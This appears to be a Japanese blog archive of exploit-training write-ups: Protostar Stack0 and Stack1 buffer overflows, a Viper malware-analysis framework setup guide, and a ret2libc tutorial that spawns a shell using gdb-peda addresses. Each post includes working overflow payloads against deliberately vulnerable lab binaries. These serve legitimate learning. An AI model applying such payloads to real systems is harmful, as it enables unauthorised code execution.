protostar stack 1 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack1を解いたので、そのwriteupを書いていく

### Stack 1
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

動作は以下のとおり.

$ ./stack1 AAAA
Try again, you got 0x00000000

今回も同じように脆弱性を利用し「you have correctly got the variable to the right value」を出力させてみる.

しかし脆弱性自体はStack0と同じもので64バイトより大きな値を入力してmodifiedの値を書き換え本来到達しない分岐へ飛ばすだけである.
分岐の条件を見てみるとmodifiedの値が0x61626364であればいいようだ.
というわけで64バイトより後に"\x61\x62\x63\x64"をくっつければうまくいくだろう, と思うかもしれないがそうはそうは問屋が卸さない.
メモリ空間上では値を『リトルエンディアン』と呼ばれる方式で管理しており, 高位のアドレスに格納されている値が先に認識される.
うまく説明できる気がしないが
0x61626364
という値はリトルエンディアンでは
"\x64\x63\x62\x61"
というように管理している.
つまり64バイトより後ろにただ"\x61\x62\x63\x64"とつけただけでは0x64636261と解釈されてしまう.
そういうわけで今回のは64バイト以降に"\x64\x63\x62\x61"と付けて分岐を突破してみる.

$ ./stack1 $(python -c 'print "A"*64 + "\x61\x62\x62\x64"')
Try again, you got 0x64626261

$ ./stack1 $(python -c 'print "A"*64 + "\x64\x63\x62\x61"')
you have correctly got the variable to the right value

トルエンディアンを意識して入力すると成功する.

Stack1 おわり

protostar stack 0 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく

### Stack 0
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

動作は以下のとおり.

$ ./stack0
AAAA 
Try again?

ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.

$ objdump -d ./stack0 | grep main\>\: -A19
080483f4 <main>:
 80483f4:	55                   	push   ebp
 80483f5:	89 e5                	mov    ebp,esp
 80483f7:	83 e4 f0             	and    esp,0xfffffff0
 80483fa:	83 ec 60             	sub    esp,0x60
 80483fd:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048404:	00 
 8048405:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 8048409:	89 04 24             	mov    DWORD PTR [esp],eax
 804840c:	e8 fb fe ff ff       	call   804830c <gets@plt>
 8048411:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048415:	85 c0                	test   eax,eax
 8048417:	74 0e                	je     8048427 <main+0x33>
 8048419:	c7 04 24 00 85 04 08 	mov    DWORD PTR [esp],0x8048500
 8048420:	e8 07 ff ff ff       	call   804832c <puts@plt>
 8048425:	eb 0c                	jmp    8048433 <main+0x3f>
 8048427:	c7 04 24 29 85 04 08 	mov    DWORD PTR [esp],0x8048529
 804842e:	e8 f9 fe ff ff       	call   804832c <puts@plt>
 8048433:	c9                   	leave  
 8048434:	c3                   	ret 
 ||<

流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入.
次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力.
そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する.

modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである.
このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる.

実際に入力してみる.
>|bash|
$ python -c 'print "A"*64' | ./stack0
Try again?

$ python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable

64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.

Stack0 おわり

Viperを利用したバイナリ解析

概要

今回はバイナリ解析フレームワークのViperについて書いていく

Viperとは

Viper(http://viper.li)とはバイナリ解析フレームワークのこと。
バイナリ解析機能の他に解析したバイナリとその情報を管理する機能を持っている。
主にマルウェアやエクスプロイトの解析を目的に作られており、それらを円滑に行えるよう様々な機能が用意されている。

インストール

環境は以下のとおりである。

$ uname -s -r -p -v
Linux 3.19.0-59-generic #66~14.04.1-Ubuntu SMP Fri May 13 17:27:10 UTC 2016 x86_64

Viperのインストールドキュメントはここ(http://viper-framework.readthedocs.io/en/latest/installation/index.html)にある。
インストールにあたって必要なソフトウェアをあらかじめインストールしておく。

$ sudo apt-get install gcc python-dev python-pip

次にpipを使って必要なものをインストールする。

$ sudo pip install SQLAlchemy PrettyTable python-magic

加えてssdeepとpydeepをインストールする。
ssdeepとはファジーハッシュを利用するためのプログラムである。
ファジーハッシュについては(http://www.ffri.jp/assets/files/monthly_research/MR201403_Consideration_and_evaluation_of_using_fuzzy_hashing_JPN.pdf) (pdf直リンク注意)を参照。
pydeepはpythonからssdeepを利用するためのライブラリである。
ダウンロードリンクは(http://ssdeep.sourceforge.net/#download)
ダウンロードしたディレクトリに移動した後に下記コマンドを入力。

$ tar -zxvf ssdeep-X.XX.tar.gz
$ cd ssdeep-X.XX
$ ./configure && make
$ sudo make install
$ sudo pip install pydeep

次にTorを利用した通信を行うバイナリの解析を行うためにライブラリをインストールする。

$ sudo apt-get install python-socksipy

次にViper本体のインストールに入る。
と言ってもgitからcloneして依存関係を解決するだけである。

$ git clone https://github.com/viper-framework/viper
$ sudo pip install -r requirements.txt

これでインストールは完了だ。

使い方

Viperはプロジェクト単位でバイナリを管理することができる。
プロジェクトは下記コマンドで作ることができる。

$ ./viper-cli -p test

まずは適当なファイルを解析対象としてViperに認識させる。

test viper > open -f ./a.out
[*] Session opened on ./a.out
test viper a.out [not stored] > 

これらのファイルはセッションという形で管理されている。

test viper a.out [not stored] > sessions --list
[*] Opened Sessions:
+---+-------+----------------------------------+---------------------+---------+
| # | Name  | MD5                              | Created At          | Current |
+---+-------+----------------------------------+---------------------+---------+
| 1 | a.out | bdf422ad25a052fb661107bd6f7ff77d | 2016-06-03 20:55:30 | Yes     |
+---+-------+----------------------------------+---------------------+---------+

この状態でstoreコマンドを入力するとセッションで開いているファイルをプロジェクトに登録される。
yaraによるスキャンを自動的にしてくれているようだ。
helpコマンドで見た感じ、プロジェクトやセッションの管理と言った動作の命令はコマンドと呼ばれ、解析はモジュールで行っているようだ。
モジュールで解析とは言ってもモジュール名をコマンドのように入力すればいい。
プロジェクトに登録したら各種モジュールで解析していく。
以降はいくつかのモジュールを紹介する。

  • apkモジュール

Androidのアプリケーションを解析するモジュール。
AndroGuard(https://github.com/androguard/androguard/archive/v2.0.tar.gz) をインストールしないと動かないようだ。

ローカル環境のclamavで解析するモジュール。
'pyclamd'をpipでインストールしないと動かないようだ。

  • cuckooモジュール

cuckooサンドボックスと連携するモジュール。

  • elfモジュール

elfファイルを解析するモジュール。
セクション情報やシンボル情報といった要素を調べられる。
エントロピー欄が何を表しているかはわからなかった。

  • r2モジュール

radare2と連携するモジュール。
便利そう。

  • shellcodeモジュール

シェルコードを抜き出すモジュールらしい。
動作未検証

これらの他にもpeファイルやjarファイル、画像ファイルやofficeドキュメントを解析するモジュールがある。
IDA proやradare2といったツールやvirustotalといったサービスと連携するモジュールも用意されており解析の基盤として使えるかもしれない。
あとから自分でモジュールを作って追加できることも強みだろう。

webインターフェース

Viperはwebインターフェースから利用することもできる。
利用するには下記コマンドを入力する。

$ ./viper-web 
Bottle v0.12.9 server starting up (using WSGIRefServer())...
Listening on http://localhost:9090/
Hit Ctrl-C to quit.

アクセスするとこのような画面になっており操作できる。

他にもAPIサーバとして使えるとかフレームワークとして使う方法とかあるが今回はここまで

今度ファイルを解析するときに使ってみたいと思う。

ret2libcをやってみる

ret2pltで関数を実行してみる - メモ代わりでret2pltを使って遊んでみた。
printfでメモリをリークさせるみたいになったのでCTFで出てこないわけでもなさそうだが、どうせならシェルを開きたいものである。
というわけで今回はret2libcでシェルを起動してみる。

ret2libcとは

ret2pltではpltに存在しない関数を呼び出すことはできない。
そこで考えだされたのがlibcにある関数を呼び出す方法『ret2libc』だ。
実行時にlibcが動的にリンクされるのでASLRの影響を受けてしまうが今回は前回、前々回同様にASLRはOFFにしているのでうまくいくだろう。
実際にシェルを開くところまでやってみよう。

必要な情報を集める

ret2libcも呼び出し先がpltからlibcに変わっただけで要領はあまり変わらない。
まずはgdbで開いてstartコマンドを使ってmainの先頭まで走らせよう。

gdb-peda$ start

次にsystem関数がどこにあるか探さなければならないが、これは下記のコマンドで出力できる。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e4a190 <system>

systemありますねぇ!
ついでにこのsystemがどこにあるか見てみよう。
vmmapコマンドでメモリのレイアウトがわかるので使ってみる。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/tmp/a.out
0x08049000 0x0804a000 r--p	/tmp/a.out
0x0804a000 0x0804b000 rw-p	/tmp/a.out
0xf7e09000 0xf7e0a000 rw-p	mapped
0xf7e0a000 0xf7fb2000 r-xp	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb2000 0xf7fb4000 r--p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb4000 0xf7fb5000 rw-p	/lib/i386-linux-gnu/libc-2.19.so
0xf7fb5000 0xf7fb8000 rw-p	mapped
0xf7fd6000 0xf7fd8000 rw-p	mapped
0xf7fd8000 0xf7fda000 r--p	[vvar]
0xf7fda000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

これを見ればsystem関数のアドレスである"0xf7e4a190"は"/lib/i386-linux-gnu/libc-2.19.so"にありlibcを読んでいることがハッキリわかるはずだ。
次にsystem関数の引数を探したい。
とりあえずシェルを開ければいいのでそれっぽい文字列を探してみる。

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f6aa24 ("/bin/sh")

ありました。
ここまでのおさらいをすると

  • 22文字以降の文字列がEIPにセットされる
  • system関数のアドレスは"0xf7e4a190"
  • "/bin/shの文字列"は"0xf7f6aa24"にある

では実行してみよう。

実行してみる

実際のコードはこちら

print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"

ほぼpltの時と一緒だね。
実行してみる。

$ ./a.out $(python -c 'print "A"*22 + "\x90\xa1\xe4\xf7" + "BBBB" + "\x24\xaa\xf6\xf7"')
AAAAAAAAAAAAAAAAAAAAAA����BBBB$��
$ 

シェルが起動した、やったぜ。

おわりに

ret2pltとあまり変わらないけどシェルを呼べて素晴らしいと思った。